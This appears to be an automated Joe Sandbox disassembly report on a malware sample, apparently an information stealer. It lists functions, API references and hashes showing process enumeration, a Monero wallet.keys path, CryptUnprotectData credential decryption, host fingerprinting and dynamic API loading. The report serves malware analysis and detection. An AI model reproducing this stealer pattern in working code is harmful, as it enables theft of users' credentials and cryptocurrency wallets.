Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 9092791a836d5e6b2ef7c21d7fd745db7b4524b2631538ae978882743c74bed3
Instruction ID: 6bec792f12ceb522f460546b3e1bf305d4b164cbff9b08ecf6f2f51edfeabcdb
Opcode Fuzzy Hash: 9092791a836d5e6b2ef7c21d7fd745db7b4524b2631538ae978882743c74bed3
Instruction Fuzzy Hash: F6010CB5A00308ABCB14DFA5CD88BEDBBF8EB48700F1081D8A945E6390DB359B40CF61

Function 00B08680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00B105B7), ref: 00B086CA
Process32First.KERNEL32(?,00000128), ref: 00B086DE
Process32Next.KERNEL32(?,00000128), ref: 00B086F3

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

CloseHandle.KERNEL32(?), ref: 00B08761

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 321b59a435fa62f88479efc0dfafb6b82cea04deee86074174d640ef656d16fa
Instruction ID: fc0047a46ab0a7fc498f3487d1507578c0d4cb8ead109a8fc38982512e6feb4e
Opcode Fuzzy Hash: 321b59a435fa62f88479efc0dfafb6b82cea04deee86074174d640ef656d16fa
Instruction Fuzzy Hash: 95313C71911318ABCB24EB54CC85FEEBBB8EB55700F1085D9A10AA21E0DB706E45CFA1

Function 00B07A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0076E270,00000000,?,00B10E10,00000000,?,00000000,00000000), ref: 00B07A63
RtlAllocateHeap.NTDLL(00000000), ref: 00B07A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0076E270,00000000,?,00B10E10,00000000,?,00000000,00000000,?), ref: 00B07A7D
wsprintfA.USER32 ref: 00B07AB7

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 4c9638e9c86b2bee04a3fa9603f764a310f9219a2b3c9bd4e5a16940b5853c06
Instruction ID: d349c6dd63eda9da0bf1f801dfbdf2b0c17e9b22fe93f248e00998292bc3ee97
Opcode Fuzzy Hash: 4c9638e9c86b2bee04a3fa9603f764a310f9219a2b3c9bd4e5a16940b5853c06
Instruction Fuzzy Hash: B1117CB1A45618EBEB209B58DC49FA9BBB8FB04721F1042DAE90A932D0CB741A44CB51

Function 00AF9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00AF9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00AF9BA3
LocalFree.KERNEL32(?), ref: 00AF9BD3

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 18ed1db4e84f072b1bd0f16f562a6b2d3ec76ff93d7a09d4ea7c57e91428d63d
Instruction ID: 90d5014fe1ac82f6dbea656fd2528fdc52bc67293b19a055d801d3cb9e559927
Opcode Fuzzy Hash: 18ed1db4e84f072b1bd0f16f562a6b2d3ec76ff93d7a09d4ea7c57e91428d63d
Instruction Fuzzy Hash: 5911B7B8A00209EFDB04DF98D985AAE77B5FF88300F104598F915A7350D770AE10CFA1

Function 00B078E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07910
RtlAllocateHeap.NTDLL(00000000), ref: 00B07917
GetComputerNameA.KERNEL32(?,00000104), ref: 00B0792F

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 510e42a944ba5cb74a2280f0687e65acb802f93da8f0d479a50dff604011fd7c
Instruction ID: b06dba6283df65accc9f797a1adc5f4253604eb18f1bbd7c4f4714be2e6f3352
Opcode Fuzzy Hash: 510e42a944ba5cb74a2280f0687e65acb802f93da8f0d479a50dff604011fd7c
Instruction Fuzzy Hash: C3011DB1A44209EFC710DF99DD45BAAFBF8FB04B21F10429AFA45E23D0D77469448BA1

Function 00B07850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00AF11B7), ref: 00B07880
RtlAllocateHeap.NTDLL(00000000), ref: 00B07887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B0789F

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 013bfed2eb1f1c46dd8afa08cdd77e0ff797b5eacc715e6f5d09db83bcfdfa04
Instruction ID: 191bda980c41e6d0a3de3475d550c98db266eff7fd7d766aeaa06307ae4eb328
Opcode Fuzzy Hash: 013bfed2eb1f1c46dd8afa08cdd77e0ff797b5eacc715e6f5d09db83bcfdfa04
Instruction Fuzzy Hash: 53F04FB1E44208ABC700DF99DD49BAEFBB8EB04721F10025AFA05E27C0C7B419048BA1

Function 00AF1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00AF116A
ExitProcess.KERNEL32 ref: 00AF117E

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: ab884df28ed3231a6644d002dbd9443a10131646d35f340f975c1098ff17046f
Instruction ID: c59c88f59c108729aeb567d272035c5d7cdf199c61144622fcd69c40bfd23800
Opcode Fuzzy Hash: ab884df28ed3231a6644d002dbd9443a10131646d35f340f975c1098ff17046f
Instruction Fuzzy Hash: 07D05EB4A0030CDBCB00DFE4DC896EDBB78FB08321F000658E905A2340EA315491CAB6

Function 00B09C10 Relevance: 226.4, APIs: 112, Strings: 17, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,007567B8), ref: 00B09C2D
GetProcAddress.KERNEL32(76210000,007564D8), ref: 00B09C45
GetProcAddress.KERNEL32(76210000,00768FB0), ref: 00B09C5E
GetProcAddress.KERNEL32(76210000,00769028), ref: 00B09C76
GetProcAddress.KERNEL32(76210000,00769010), ref: 00B09C8E
GetProcAddress.KERNEL32(76210000,0076CC38), ref: 00B09CA7
GetProcAddress.KERNEL32(76210000,0075A6E8), ref: 00B09CBF
GetProcAddress.KERNEL32(76210000,0076CC80), ref: 00B09CD7
GetProcAddress.KERNEL32(76210000,0076CCC8), ref: 00B09CF0
GetProcAddress.KERNEL32(76210000,0076CDA0), ref: 00B09D08
GetProcAddress.KERNEL32(76210000,0076CE78), ref: 00B09D20
GetProcAddress.KERNEL32(76210000,007565F8), ref: 00B09D39
GetProcAddress.KERNEL32(76210000,00756498), ref: 00B09D51
GetProcAddress.KERNEL32(76210000,007566D8), ref: 00B09D69
GetProcAddress.KERNEL32(76210000,00756618), ref: 00B09D82
GetProcAddress.KERNEL32(76210000,0076CBC0), ref: 00B09D9A
GetProcAddress.KERNEL32(76210000,0076CD88), ref: 00B09DB2
GetProcAddress.KERNEL32(76210000,0075A850), ref: 00B09DCB
GetProcAddress.KERNEL32(76210000,00756778), ref: 00B09DE3
GetProcAddress.KERNEL32(76210000,0076CD58), ref: 00B09DFB
GetProcAddress.KERNEL32(76210000,0076CD28), ref: 00B09E14
GetProcAddress.KERNEL32(76210000,0076CEA8), ref: 00B09E2C
GetProcAddress.KERNEL32(76210000,0076CD70), ref: 00B09E44
GetProcAddress.KERNEL32(76210000,00756798), ref: 00B09E5D
GetProcAddress.KERNEL32(76210000,0076CC08), ref: 00B09E75
GetProcAddress.KERNEL32(76210000,0076CC98), ref: 00B09E8D
GetProcAddress.KERNEL32(76210000,0076CD40), ref: 00B09EA6
GetProcAddress.KERNEL32(76210000,0076CC50), ref: 00B09EBE
GetProcAddress.KERNEL32(76210000,0076CDB8), ref: 00B09ED6
GetProcAddress.KERNEL32(76210000,0076CDD0), ref: 00B09EEF
GetProcAddress.KERNEL32(76210000,0076CCB0), ref: 00B09F07
GetProcAddress.KERNEL32(76210000,0076CDE8), ref: 00B09F1F
GetProcAddress.KERNEL32(76210000,0076CCE0), ref: 00B09F38
GetProcAddress.KERNEL32(76210000,0075FD98), ref: 00B09F50
GetProcAddress.KERNEL32(76210000,0076CE90), ref: 00B09F68
GetProcAddress.KERNEL32(76210000,0076CE00), ref: 00B09F81
GetProcAddress.KERNEL32(76210000,00756638), ref: 00B09F99
GetProcAddress.KERNEL32(76210000,0076CBF0), ref: 00B09FB1
GetProcAddress.KERNEL32(76210000,00756718), ref: 00B09FCA
GetProcAddress.KERNEL32(76210000,0076CE18), ref: 00B09FE2
GetProcAddress.KERNEL32(76210000,0076CBD8), ref: 00B09FFA
GetProcAddress.KERNEL32(76210000,00756738), ref: 00B0A013
GetProcAddress.KERNEL32(76210000,00756418), ref: 00B0A02B
LoadLibraryA.KERNEL32(0076CE30,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A03D
LoadLibraryA.KERNEL32(0076CC20,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A04E
LoadLibraryA.KERNEL32(0076CC68,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A060
LoadLibraryA.KERNEL32(0076CCF8,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A072
LoadLibraryA.KERNEL32(0076CD10,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A083
LoadLibraryA.KERNEL32(0076CE48,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A095
LoadLibraryA.KERNEL32(0076CE60,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A0A7
LoadLibraryA.KERNEL32(0076CF80,?,00B05CA3,00B10AEB,?,?,?,?,?,?,?,?,?,?,00B10AEA,00B10AE3), ref: 00B0A0B8
GetProcAddress.KERNEL32(751E0000,00756318), ref: 00B0A0DA
GetProcAddress.KERNEL32(751E0000,0076D010), ref: 00B0A0F2
GetProcAddress.KERNEL32(751E0000,00768968), ref: 00B0A10A
GetProcAddress.KERNEL32(751E0000,0076D040), ref: 00B0A123
GetProcAddress.KERNEL32(751E0000,00756078), ref: 00B0A13B
GetProcAddress.KERNEL32(700F0000,0075A6C0), ref: 00B0A160
GetProcAddress.KERNEL32(700F0000,00756098), ref: 00B0A179
GetProcAddress.KERNEL32(700F0000,0075A8C8), ref: 00B0A191
GetProcAddress.KERNEL32(700F0000,0076CF98), ref: 00B0A1A9
GetProcAddress.KERNEL32(700F0000,0076CF20), ref: 00B0A1C2
GetProcAddress.KERNEL32(700F0000,00756058), ref: 00B0A1DA
GetProcAddress.KERNEL32(700F0000,007560D8), ref: 00B0A1F2
GetProcAddress.KERNEL32(700F0000,0076CFF8), ref: 00B0A20B
GetProcAddress.KERNEL32(753A0000,007562F8), ref: 00B0A22C
GetProcAddress.KERNEL32(753A0000,007563F8), ref: 00B0A244
GetProcAddress.KERNEL32(753A0000,0076CFC8), ref: 00B0A25D
GetProcAddress.KERNEL32(753A0000,0076D028), ref: 00B0A275
GetProcAddress.KERNEL32(753A0000,007561D8), ref: 00B0A28D
GetProcAddress.KERNEL32(76310000,0075A760), ref: 00B0A2B3
GetProcAddress.KERNEL32(76310000,0075A710), ref: 00B0A2CB
GetProcAddress.KERNEL32(76310000,0076CF38), ref: 00B0A2E3
GetProcAddress.KERNEL32(76310000,007560B8), ref: 00B0A2FC
GetProcAddress.KERNEL32(76310000,00756178), ref: 00B0A314
GetProcAddress.KERNEL32(76310000,0075A9E0), ref: 00B0A32C
GetProcAddress.KERNEL32(76910000,0076CF50), ref: 00B0A352
